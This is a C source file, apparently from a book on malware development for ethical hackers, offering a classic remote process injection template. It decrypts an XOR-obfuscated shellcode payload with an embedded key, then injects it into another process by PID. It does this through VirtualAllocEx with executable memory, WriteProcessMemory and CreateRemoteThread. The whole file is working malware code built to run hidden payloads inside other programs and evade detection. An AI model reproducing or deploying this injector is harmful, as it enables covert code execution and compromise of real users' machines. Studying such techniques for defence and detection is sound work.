/*
 * Malware Development for Ethical Hackers
 * temp.c
 * clasic payload injection template
 * author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// Payload
unsigned char encryptedPayload[] = { 0x8e, 0x3c, 0xc0, 0xad, 0x92, 0xb9, 0xab, 0x4d, 0x66, 0x52, 0x2d, 0x14, 0x23, 0x1d, 0x25, 0x2, 0xc, 0x38, 0x45, 0xbc, 0x17, 0x3c, 0xc8, 0x1b, 0x2, 0x19, 0xe0, 0x1f, 0x7e, 0x1a, 0xe7, 0x17, 0x42, 0x5, 0xfc, 0x21, 0xa, 0x38, 0x7b, 0xd9, 0x38, 0x3e, 0xe, 0x78, 0xab, 0x19, 0x5a, 0x8d, 0xca, 0x6e, 0xd, 0x39, 0x60, 0x61, 0x57, 0x12, 0x9b, 0xb9, 0x79, 0x2f, 0x73, 0xb5, 0xa1, 0xa4, 0x30, 0x10, 0x3a, 0x5, 0xed, 0x0, 0x4c, 0xce, 0x20, 0x71, 0x3f, 0x52, 0x8a, 0xfb, 0xf4, 0xe6, 0x72, 0x74, 0x43, 0x1, 0xe7, 0x91, 0x1f, 0x2a, 0x2e, 0x53, 0xbc, 0x15, 0xe9, 0x5, 0x6f, 0x17, 0xd1, 0x30, 0x54, 0x27, 0x73, 0xa4, 0xa0, 0x1f, 0x2a, 0xae, 0xa2, 0xc, 0xed, 0x66, 0xe4, 0xd, 0x63, 0x9b, 0x3a, 0x62, 0x93, 0x38, 0x45, 0xae, 0xde, 0x35, 0x82, 0x80, 0x6f, 0x10, 0x6a, 0x8c, 0x5e, 0xb2, 0x19, 0xb4, 0x2e, 0x4e, 0x3b, 0x77, 0x52, 0x35, 0x4d, 0xbf, 0x7, 0xac, 0x1b, 0xd, 0xe9, 0x11, 0x4f, 0x4, 0x67, 0x82, 0xa, 0x4, 0xe9, 0x41, 0x3f, 0x17, 0xd1, 0x30, 0x68, 0x27, 0x73, 0xa4, 0x2, 0xc2, 0x66, 0xd9, 0x23, 0x4c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0xa6, 0x16, 0xb3, 0x2a, 0x56, 0x20, 0x42, 0x48, 0x2a, 0xdc, 0x2f, 0x69, 0x7e, 0x94, 0x6c, 0x2d, 0x2a, 0xc4, 0x91, 0x5, 0xa, 0x31, 0x24, 0x2f, 0x22, 0x35, 0x13, 0x0, 0x9d, 0x91, 0x2a, 0x1d, 0x2f, 0xad, 0xa4, 0x8, 0xeb, 0x8c, 0x3b, 0xda, 0x9b, 0x31, 0xce, 0x17, 0xbe, 0x4b, 0xc5, 0xb6, 0xb7, 0x19, 0x5a, 0x9f, 0x2e, 0xad, 0xa6, 0xce, 0x6c, 0xc, 0xcd, 0x5b, 0xdd, 0x6d, 0x14, 0x91, 0xa7, 0xcf, 0xb3, 0xfc, 0xc0, 0x7, 0x2a, 0xf7, 0xc0, 0xc7, 0xd1, 0xd8, 0x9d, 0x98, 0x3f, 0xd0, 0x9e, 0x58, 0x48, 0x68, 0xe, 0x7e, 0xc3, 0xb2, 0x82, 0x24, 0x6e, 0xf6, 0x21, 0x41, 0x1e, 0x2a, 0x8, 0x4d, 0x2e, 0x12, 0xd3, 0xaa, 0x8b, 0xbb };
char decryptionKey[] = "rtCIbQkMfRlEbMwSZptn";

// Decryption
void decryptPayload(char * data, size_t dataLength, char * decryptionKey, size_t keyLength) {
  int keyIndex = 0;
  for (int dataIndex = 0; dataIndex < dataLength; dataIndex++) {
    if (keyIndex == keyLength - 1) keyIndex = 0;
    data[dataIndex] = data[dataIndex] ^ decryptionKey[keyIndex];
    keyIndex++;
  }
}

int main(int argc, char* argv[]) {
  HANDLE processHandle; // Process handle
  HANDLE remoteThread;  // Remote thread
  PVOID remoteBuffer;   // Remote buffer

  // Parse process ID
  printf("PID: %i", atoi(argv[1]));
  processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  // Decrypt payload
  decryptPayload((char *)encryptedPayload, sizeof(encryptedPayload), decryptionKey, sizeof(decryptionKey));

  // Allocate memory buffer for remote process
  remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(encryptedPayload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "Copy" data between processes
  WriteProcessMemory(processHandle, remoteBuffer, encryptedPayload, sizeof(encryptedPayload), NULL);

  // Our process starts a new thread
  remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  CloseHandle(processHandle);
  return 0;
}
